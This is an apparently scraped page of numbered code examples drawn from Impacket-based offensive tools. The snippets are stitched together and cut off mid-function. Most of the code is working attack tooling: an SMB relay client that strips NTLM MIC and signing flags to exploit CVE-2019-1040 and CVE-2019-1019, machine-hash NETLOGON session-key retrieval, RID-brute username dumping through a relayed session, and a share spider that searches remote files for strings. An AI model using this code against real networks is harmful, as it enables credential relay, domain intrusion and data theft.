            authenticateMessageBlob)
        sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)

        smb = v1client.recvSMB()

        errorCode = smb['ErrorCode'] << 16
        errorCode += smb['_reserved'] << 8
        errorCode += smb['ErrorClass']

        return smb, errorCode

    def getStandardSecurityChallenge(self):
        if self.session.getDialect() == SMB_DIALECT:
            return self.session.getSMBServer().get_encryption_key()
        else:
            return None
Beispiel #47
0
class RemoteShell(cmd.Cmd):
    def __init__(self, server, port, credentials, tid, fid, share, transport):
        cmd.Cmd.__init__(self, False)
        self.prompt = '\x08'
        self.server = server
        self.transferClient = None
        self.tid = tid
        self.fid = fid
        self.credentials = credentials
        self.share = share
        self.pwd = os.system('pwd')
        self.port = port
        self.transport = transport
        self.intro = '[!] Press help for extra shell commands'

    def connect_transferClient(self):
        #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
        self.transferClient = SMBConnection('*SMBSERVER',
                                            self.server.getRemoteHost(),
                                            sess_port=self.port,
                                            preferredDialect=dialect)
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        if self.transport.get_kerberos() is True:
            self.transferClient.kerberosLogin(
                user,
                passwd,
                domain,
                lm,
                nt,
                aesKey,
                kdcHost=self.transport.get_kdcHost(),
                TGT=TGT,
                TGS=TGS)
        else:
            self.transferClient.login(user, passwd, domain, lm, nt)

    def do_help(self, line):
        print """
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the current directory (%s)
 get {file}                 - downloads pathname RELATIVE to the current local dir (%s) to the current local dir 
 cat {remote_file}          - cats txt file to stdin
 edit {remote_file}         - opens remote file to edit
 ! {cmd}                    - executes a local shell cmd


""" % (self.share, self.share)
        self.send_data('\r\n', False)

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')

    def do_get(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()

            import ntpath
            filename = ntpath.basename(src_path)
            fh = open(filename, 'wb')
            logging.info("Downloading %s\%s" % (self.share, src_path))
            self.transferClient.getFile(src_path, fh.write)
            fh.close()
        except Exception, e:
            logging.critical(str(e))
            pass

        self.send_data('\r\n')
Beispiel #48
0
class SMBAttack(Thread):
    def __init__(self, config, SMBClient, username):
        Thread.__init__(self)
        self.daemon = True
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.config = config

    def run(self):
        global getting_usernames
        global got_usernames
        if getting_usernames:
            return
        getting_usernames = True
        rpctransport = transport.SMBTransport(
            self.__SMBConnection.getRemoteHost(),
            filename=r'\lsarpc',
            smb_connection=self.__SMBConnection)
        dce = rpctransport.get_dce_rpc()
        maxRid = 50000
        dce.connect()

        dce.bind(lsat.MSRPC_UUID_LSAT)
        resp = lsat.hLsarOpenPolicy2(
            dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
        policyHandle = resp['PolicyHandle']

        # Get Domain Sid if we are in a domain
        logging.info('Dumping usernames')
        resp = lsad.hLsarQueryInformationPolicy2(
            dce, policyHandle,
            lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation)
        in_domain = True
        if resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Sid']:
            domainSid = resp['PolicyInformation']['PolicyPrimaryDomainInfo'][
                'Sid'].formatCanonical()
        else:
            # If we get an exception, maybe we aren't in a domain. Get local Sid instead
            logging.info(
                'Target not joined to a domain. Getting local accounts instead'
            )
            in_domain = False
            resp = lsad.hLsarQueryInformationPolicy2(
                dce, policyHandle,
                lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
            domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo'][
                'DomainSid'].formatCanonical()

        fh = None
        if self.config.outputFile:
            try:
                fh = open(self.config.outputFile, 'w+')
            except Exception:
                logging.exception('Could not open file for writing')

        soFar = 0
        SIMULTANEOUS = 1000
        for j in range(maxRid / SIMULTANEOUS + 1):
            if (maxRid - soFar) / SIMULTANEOUS == 0:
                sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
            else:
                sidsToCheck = SIMULTANEOUS

            if sidsToCheck == 0:
                break

            sids = list()
            for i in xrange(soFar, soFar + sidsToCheck):
                sids.append(domainSid + '-%d' % i)
            try:
                lsat.hLsarLookupSids(dce, policyHandle, sids,
                                     lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
            except DCERPCException as e:
                if str(e).find('STATUS_NONE_MAPPED') >= 0:
                    soFar += SIMULTANEOUS
                    continue
                elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
                    resp = e.get_packet()
                else:
                    raise

            for n, item in enumerate(resp['TranslatedNames']['Names']):
                if item['Use'] != SID_NAME_USE.SidTypeUnknown:
                    line = "%d: %s\\%s (%s)" % (
                        soFar + n, resp['ReferencedDomains']['Domains'][
                            item['DomainIndex']]['Name'], item['Name'],
                        SID_NAME_USE.enumItems(item['Use']).name)
                    print(line)
                    if fh:
                        fh.write(line + '\n')

            soFar += SIMULTANEOUS

        if fh:
            fh.close()
        dce.disconnect()

        if in_domain:
            # Only works if we are relaying to a domain member
            SAMRDump().dump(self.__SMBConnection)

        got_usernames = True
Beispiel #49
0
class SMBRelayClient(ProtocolClient):
    PLUGIN_NAME = "SMB"
    def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
        self.extendedSecurity = extendedSecurity

        self.domainIp = None
        self.machineAccount = None
        self.machineHashes = None
        self.sessionData = {}

        self.negotiateMessage = None
        self.challengeMessage = None
        self.serverChallenge = None

        self.keepAliveHits = 1

    def netlogonSessionKey(self, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        logging.info("Connecting to %s NETLOGON service" % self.domainIp)

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'])
        _, machineAccount = self.serverConfig.machineAccount.split('/')
        domainName = authenticateMessage['domain_name'].decode('utf-16le')

        try:
            serverName = machineAccount[:len(machineAccount)-1]
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.serverConfig.machineHashes) > 0:
            lmhash, nthash = self.serverConfig.machineHashes.split(':')
        else:
            lmhash = ''
            nthash = ''

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678')

        serverChallenge = resp['ServerChallenge']

        if self.serverConfig.machineHashes == '':
            ntHash = None
        else:
            ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])

        sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

        nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
                                      nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
                                      ppp, 0x600FFFFF)

        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
        request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
            'user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge
        request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 10

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        # request.dump()
        try:
            resp = dce.request(request)
            # resp.dump()
        except DCERPCException as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            return e.get_error_code()

        logging.info("%s\\%s successfully validated through NETLOGON" % (
            domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != b'':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']

        logging.info("SMB Signing key: %s " % hexlify(signingKey))

        return STATUS_SUCCESS, signingKey

    def keepAlive(self):
        # SMB Keep Alive more or less every 5 minutes
        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
            # Time to send a packet
            # Just a tree connect / disconnect to avoid the session timeout
            tid = self.session.connectTree('IPC$')
            self.session.disconnectTree(tid)
            self.keepAliveHits = 1
        else:
            self.keepAliveHits +=1

    def killConnection(self):
        if self.session is not None:
            self.session.close()
            self.session = None

    def initConnection(self):
        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
                                     #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
                                                  flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
                             flags2=flags2, data=data)
        except socketerror as e:
            if 'reset by peer' in str(e):
                if not self.serverConfig.smb2support:
                    LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
                else:
                    LOG.error('SMBCLient error: Connection was reset')
            else:
                LOG.error('SMBCLient error: %s' % str(e))
            return False
        if packet[0:1] == b'\xfe':
            preferredDialect = None
            # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
            if self.serverConfig.remove_target:
                preferredDialect = SMB2_DIALECT_21
            smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)

        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
                                     existingConnection=smbClient, manualNegotiate=True)

        return True

    def setUid(self,uid):
        self._uid = uid

    def sendNegotiate(self, negotiateMessage):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

        negotiateMessage = negoMessage.getData()

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        self.negotiateMessage = negotiateMessage
        self.challengeMessage = challenge.getData()

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge
        self.serverChallenge = challenge['challenge']

        return challenge

    def sendNegotiatev2(self, negotiateMessage):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        # Let's build a NegTokenInit with the NTLMSSP
        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        blob['MechToken'] = negotiateMessage

        sessionSetup['SecurityBufferLength'] = len(blob)
        sessionSetup['Buffer'] = blob.getData()

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        packetID = v2client.sendSMB(packet)
        ans = v2client.recvSMB(packetID)
        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
            v2client._Session['SessionID'] = ans['SessionID']
            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
            return respToken['ResponseToken']

        return False

    def sendNegotiatev1(self, negotiateMessage):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

        # Just in case, clear the Unicode Flag
        flags2 = v1client.get_flags ()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize']        = 65535
        sessionSetup['Parameters']['MaxMpxCount']          = 2
        sessionSetup['Parameters']['VcNumber']             = 1
        sessionSetup['Parameters']['SessionKey']           = 0
        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        blob['MechToken'] = negotiateMessage

        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
        sessionSetup['Parameters'].getData()
        sessionSetup['Data']['SecurityBlob']       = blob.getData()

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS']      = 'Unix'
        sessionSetup['Data']['NativeLanMan']  = 'Samba'

        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)
        smb = v1client.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            LOG.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            v1client.set_uid(smb['Uid'])

            # Now we have to extract the blob to continue the auth process
            sessionResponse   = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            return respToken['ResponseToken']

    def sendStandardSecurityAuth(self, sessionSetupData):
        v1client = self.session.getSMBServer()
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
        if sessionSetupData['Account'] != '':
            smb = NewSMBPacket()
            smb['Flags1'] = 8

            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
            sessionSetup['Data'] = SMBSessionSetupAndX_Data()

            sessionSetup['Parameters']['MaxBuffer'] = 65535
            sessionSetup['Parameters']['MaxMpxCount'] = 2
            sessionSetup['Parameters']['VCNumber'] = os.getpid()
            sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
            sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
            sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE

            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
            sessionSetup['Data']['Account'] = sessionSetupData['Account']
            sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']
            sessionSetup['Data']['NativeOS'] = 'Unix'
            sessionSetup['Data']['NativeLanMan'] = 'Samba'

            smb.addCommand(sessionSetup)

            v1client.sendSMB(smb)
            smb = v1client.recvSMB()
            try:
                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
            except:
                return None, STATUS_LOGON_FAILURE
            else:
                v1client.set_uid(smb['Uid'])
                return smb, STATUS_SUCCESS
        else:
            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
            clientResponse = None
            errorCode = STATUS_ACCESS_DENIED

        return clientResponse, errorCode

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

        authMessage = NTLMAuthChallengeResponse()
        authMessage.fromString(authenticateMessageBlob)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            authenticateMessageBlob = authMessage.getData()

        if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob
            authData = respToken2.getData()
        else:
            authData = authenticateMessageBlob

        signingKey = None
        if self.serverConfig.remove_target:
            # Trying to exploit CVE-2019-1019
            # Discovery and Implementation by @simakov_marina
            respToken2 = SPNEGO_NegTokenResp(authData)
            authenticateMessageBlob = respToken2['ResponseToken']

            errorCode, signingKey = self.netlogonSessionKey(authData)

            # Recalculate MIC
            res = NTLMAuthChallengeResponse()
            res.fromString(authenticateMessageBlob)

            newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]
            relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)

            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
            authData = respToken2.getData()

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)

        if signingKey:
            logging.info("Enabling session signing")
            self.session._SMBConnection.set_session_key(signingKey)

        return token, errorCode

    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data']    = sessionSetup

        # Reusing the previous structure
        sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
        sessionSetup['Buffer'] = authenticateMessageBlob

        packetID = v2client.sendSMB(packet)
        packet = v2client.recvSMB(packetID)

        return packet, packet['Status']

    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
        smb['Uid'] = v1client.get_uid()

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize']        = 65535
        sessionSetup['Parameters']['MaxMpxCount']          = 2
        sessionSetup['Parameters']['VcNumber']             = 1
        sessionSetup['Parameters']['SessionKey']           = 0
        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS']      = 'Unix'
        sessionSetup['Data']['NativeLanMan']  = 'Samba'

        sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
        sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)

        smb = v1client.recvSMB()

        errorCode = smb['ErrorCode'] << 16
        errorCode += smb['_reserved'] << 8
        errorCode += smb['ErrorClass']

        return smb, errorCode

    def getStandardSecurityChallenge(self):
        if self.session.getDialect() == SMB_DIALECT:
            return self.session.getSMBServer().get_encryption_key()
        else:
            return None

    def isAdmin(self):
        rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)
                return "TRUE"
            except scmr.DCERPCException as e:
                pass
        return "FALSE"
Beispiel #50
0
class SMBSpider:
    def __init__(self, _host, _domain, _port, _user, _passwd, _hashes,
                 _check_content, _share, search_str, _exts, _max_size):

        self.smbconnection = None
        self.host = _host
        self.domain = _domain
        self.port = _port
        self.user = _user
        self.passwd = _passwd
        self.hashes = _hashes
        self.search_str = search_str
        self.check_content = _check_content
        self.share = _share
        self.max_size = _max_size
        self.files_extensions = _exts

    def login(self):
        try:
            self.smbconnection = SMBConnection(self.host,
                                               self.host,
                                               None,
                                               self.port,
                                               timeout=2)
            try:
                self.smbconnection.login('', '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            print "[+] {}:{} is running {} (name:{}) (domain:{})".format(
                self.host, self.port, self.smbconnection.getServerOS(),
                self.smbconnection.getServerName(), self.domain)

            lmhash = ''
            nthash = ''
            if self.hashes:
                lmhash, nthash = self.hashes.split(':')

            self.smbconnection.login(self.user, self.passwd, self.domain,
                                     lmhash, nthash)
            return True
        except Exception as e:
            print "[!] {}".format(e)
            return False

    def logoff(self):
        self.smbconnection.logoff()

    def set_share(self, _share):
        self.share = _share

    def list_share(self):
        share_names = []
        for share in self.smbconnection.listShares():
            share_names.append(str(share['shi1_netname'][:-1]))
        return share_names

    def scanwalk(self, subfolder, depth):
        if depth == 0:
            return

        if subfolder == '' or subfolder == '.':
            subfolder = '*'
        elif subfolder.startswith('*/'):
            subfolder = subfolder[2:] + '/*'
        else:
            subfolder = subfolder.replace('/*/', '/') + '/*'

        for result in self.smbconnection.listPath(self.share, subfolder):

            if result.get_longname() not in ['.', '..']:

                # check if the file contains our pattern
                for s in self.search_str:
                    if result.get_longname().lower().find(s) != -1:
                        yield '%s' % os.path.join(subfolder,
                                                  result.get_longname())

                # if directory, be recursive
                if result.is_directory():
                    for res in self.scanwalk(
                            subfolder.replace('*', '') + result.get_longname(),
                            depth - 1):
                        yield res

                # check inside the file to found our pattern
                elif not result.is_directory():
                    if self.max_size > result.get_filesize():
                        if result.get_longname().endswith(
                                self.files_extensions):
                            if self.check_content:
                                for res in self.search_string(
                                        os.path.join(subfolder,
                                                     result.get_longname())):
                                    try:
                                        res = res.encode('utf-8')
                                        yield '%s' % res
                                    except:
                                        pass

    def search_string(self, path):
        path = path.replace('*', '')
        try:
            rfile = RemoteFile(self.smbconnection,
                               path,
                               self.share,
                               access=FILE_READ_DATA)
            rfile.open()
            while True:
                buffer = rfile.read(4096)
                if not buffer:
                    break

                for string in self.search_str:
                    indexes = [
                        m.start() for m in re.finditer(
                            string, buffer, flags=re.IGNORECASE)
                    ]
                    for i in indexes:
                        r = "{share} {path} > {content}".format(
                            share=self.share,
                            path=path,
                            content=buffer[i:].strip().split('\n')[0])
                        yield r

            rfile.close()

        except SessionError as e:
            if 'STATUS_SHARING_VIOLATION' in str(e):
                pass

        except Exception, e:
            print e
Beispiel #51
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""
    def __init__(self,
                 remoteName,
                 dstport=445,
                 filename='',
                 username='',
                 password='',
                 domain='',
                 lmhash='',
                 nthash='',
                 aesKey='',
                 TGT=None,
                 TGS=None,
                 remote_host='',
                 smb_connection=0,
                 doKerberos=False,
                 kdcHost=None):
        DCERPCTransport.__init__(self, remoteName, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash,
                             aesKey, TGT, TGS)
        self._doKerberos = doKerberos
        self._kdcHost = kdcHost

        if remote_host != '':
            self.setRemoteHost(remote_host)

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(
                self.getRemoteName(),
                self.getRemoteHost(),
                sess_port=self.get_dport(),
                preferredDialect=self.__prefDialect)
            if self._strict_hostname_validation:
                self.__smb_connection.setHostnameValidation(
                    self._strict_hostname_validation,
                    self._validation_allow_absent, self._accepted_hostname)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self._username, self._password,
                                            self._domain, self._lmhash,
                                            self._nthash)
            else:
                self.__smb_connection.kerberosLogin(self._username,
                                                    self._password,
                                                    self._domain,
                                                    self._lmhash,
                                                    self._nthash,
                                                    self._aesKey,
                                                    kdcHost=self._kdcHost,
                                                    TGT=self._TGT,
                                                    TGS=self._TGS)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid,
                                                       self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection.close()
            self.__smb_connection = 0

    def send(self, data, forceWriteAndx=0, forceRecv=0):
        if self._max_send_frag:
            offset = 0
            while 1:
